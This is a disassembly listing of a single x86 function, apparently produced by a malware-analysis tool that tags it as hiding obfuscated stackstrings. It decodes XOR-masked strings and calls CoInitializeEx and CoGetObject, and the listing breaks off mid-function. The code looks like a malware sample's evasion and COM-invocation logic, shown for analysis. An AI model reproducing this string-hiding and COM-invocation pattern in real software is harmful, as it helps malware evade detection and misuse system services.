Function at 0x485640
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3a8
mov eax, dword [0x512a40]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
push edi
mov esi, ecx
movaps xmmword [ebp - 0x240], xmm0
movaps xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
call fcn.004852d0
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov edi, eax
lea ecx, [ebp - 0x240]
mov edx, 0x24
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x4856b5
mov dword [ebp - 0x240], 0x24
mov dword [ebp - 0x22c], 4
mov dword [ebp - 0x250], 0x22de186
mov dword [ebp - 0x24c], 0x71a71e63
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x946ea361
mov dword [ebp - 0x24c], 0xd4d3256a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x40a87aa3
mov dword [ebp - 0x24c], 0x602c3b4d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x3103e157
mov dword [ebp - 0x24c], 0xef23cbaf
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x8397b374
mov dword [ebp - 0x24c], 0xfa91b60
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0x5bd8c030
mov dword [ebp - 0x24c], 0xddf1559d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x3293ec7f
mov dword [ebp - 0x24c], 0x8b7b0acf
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x280], xmm1
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x290]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
push eax
mov dword [ebp - 0x2d4], ecx
lea eax, [ebp - 0x210]
xorps xmm1, xmmword [ebp - 0x2e0]
push eax
movaps xmmword [ebp - 0x260], xmm1
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x250], 0x272e1b8
mov dword [ebp - 0x24c], 0x71e41e43
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x250], 0x9459a346
mov dword [ebp - 0x24c], 0xd4fa2534
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x250], 0x40bf7af4
mov dword [ebp - 0x24c], 0x60093b35
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x315be10f
mov dword [ebp - 0x24c], 0xef7ecbec
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x83d5b334
mov dword [ebp - 0x24c], 0xfe51b25
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x5b87c07d
mov dword [ebp - 0x24c], 0xdde355d9
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x32b7ec3c
mov dword [ebp - 0x24c], 0x8b730a89
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0xe5b8930e
mov dword [ebp - 0x24c], 0x3a083739
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x98a0262d
mov dword [ebp - 0x24c], 0x1fdf1b3b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x91ee1df
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x98e2266b
mov dword [ebp - 0x24c], 0x1f9c1b7e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0x963e1e8
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x2a0]
xorps xmm1, xmmword [ebp - 0x320]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
movaps xmmword [ebp - 0x280], xmm1
lea eax, [ebp - 0x2a0]
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x2f0]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x210]
movaps xmmword [ebp - 0x260], xmm1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x244]
push eax
push 0x4fec10
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
cmp dword [esi + 0x14], 7
mov eax, dword [ebp - 0x244]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
jbe 0x485e1c
mov esi, dword [esi]
mov dword [ebp - 0x250], 0x228e187
mov dword [ebp - 0x24c], 0x71a11e75
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x947ba36c
mov dword [ebp - 0x24c], 0xd4ff257a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x40fe7aac
mov dword [ebp - 0x24c], 0x602a3b65
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0x310be148
mov dword [ebp - 0x24c], 0xef25cbb5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x83e3b375
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
xorps xmm1, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0x2f0], xmm1
movaps xmm1, xmmword [ebp - 0x2e0]
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x250], 0x22ee190
mov dword [ebp - 0x24c], 0x71a51e60
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x250], 0x947ba377
mov dword [ebp - 0x24c], 0xd4d92571
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x250], 0x40df7a91
mov dword [ebp - 0x24c], 0x602b3b65
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x250], 0x3105e148
mov dword [ebp - 0x24c], 0xef25cbb2
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x250], 0x8397b361
mov dword [ebp - 0x24c], 0xf9f1b4e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x250], 0x5bd9c02d
mov dword [ebp - 0x24c], 0xddbf558b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x250], 0x3285ec66
mov dword [ebp - 0x24c], 0x8b0f0a98
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x250], 0xe5d6936a
mov dword [ebp - 0x24c], 0x3a49374e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x250], 0x98902619
mov dword [ebp - 0x24c], 0x1ff21b1b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x935e19c
mov dword [ebp - 0x24c], 0xd626a83e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x2be86b66
mov dword [ebp - 0x24c], 0x91c79c0b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0xf2e11fe
mov dword [ebp - 0x24c], 0xf74b953a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x2cf9db13
mov dword [ebp - 0x24c], 0x2ed9b98b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0xd9b637e5
mov dword [ebp - 0x24c], 0xff4acf35
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x5e70112d
mov dword [ebp - 0x24c], 0x8154809f
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x1bdec0e6
mov dword [ebp - 0x24c], 0xda6571e5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x250], 0x98e2266b
mov dword [ebp - 0x24c], 0x1f9c1b7e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x250], 0x963e1e8
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x250], 0x2b816b15
mov dword [ebp - 0x24c], 0x91a99c64
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x250], 0xf6711a2
mov dword [ebp - 0x24c], 0xf7069579
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x250], 0x2cbadb4f
mov dword [ebp - 0x24c], 0x2eb5b9ea
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x250], 0xd9d4378c
mov dword [ebp - 0x24c], 0xff2bcf47
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x250], 0x5e191159
mov dword [ebp - 0x24c], 0x813a80f0
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x250], 0x1bdec0e6
mov dword [ebp - 0x24c], 0xda6571e5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x3a0]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x2d0], xmm1
movaps xmm1, xmmword [ebp - 0x2c0]
xorps xmm1, xmmword [ebp - 0x390]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
xorps xmm1, xmmword [ebp - 0x380]
movaps xmmword [ebp - 0x2b0], xmm1
movaps xmm1, xmmword [ebp - 0x2a0]
xorps xmm1, xmmword [ebp - 0x370]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x360]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x300]
push esi
movaps xmmword [ebp - 0x280], xmm1
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x340]
push eax
lea eax, [ebp - 0x2d0]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
push eax
push closesocket
push dword [ebp - 0x244]
mov dword [ebp - 0x324], ecx
xorps xmm1, xmmword [ebp - 0x330]
movaps xmmword [ebp - 0x260], xmm1
call edx
mov ecx, 0x24
lea eax, [ebp - 0x240]
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4866c0
mov dword [ebp - 0x240], 0x24
mov dword [ebp - 0x22c], 4
mov dword [ebp - 0x250], 0x22de186
mov dword [ebp - 0x24c], 0x71a71e63
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x946ea361
mov dword [ebp - 0x24c], 0xd4d3256a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x40a87aa3
mov dword [ebp - 0x24c], 0x602c3b4d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x3103e157
mov dword [ebp - 0x24c], 0xef23cbaf
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x8397b374
mov dword [ebp - 0x24c], 0xfa91b60
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0x5bd8c030
mov dword [ebp - 0x24c], 0xddf1559d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x3293ec7f
mov dword [ebp - 0x24c], 0x8b7b0acf
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x310]
xorps xmm1, xmmword [ebp - 0x290]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x280], xmm1
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x290]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
push eax
mov dword [ebp - 0x2d4], ecx
lea eax, [ebp - 0x210]
xorps xmm1, xmmword [ebp - 0x2e0]
push eax
movaps xmmword [ebp - 0x260], xmm1
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x250], 0x205e1b8
mov dword [ebp - 0x24c], 0x71941e34
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x250], 0x942aa337
mov dword [ebp - 0x24c], 0xd48d2537
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x250], 0x40bf7a8f
mov dword [ebp - 0x24c], 0x60713b3e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x315de108
mov dword [ebp - 0x24c], 0xef7ecbec
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x8385b335
mov dword [ebp - 0x24c], 0xfe51b70
mov eax, dword [ebp - 0x250]
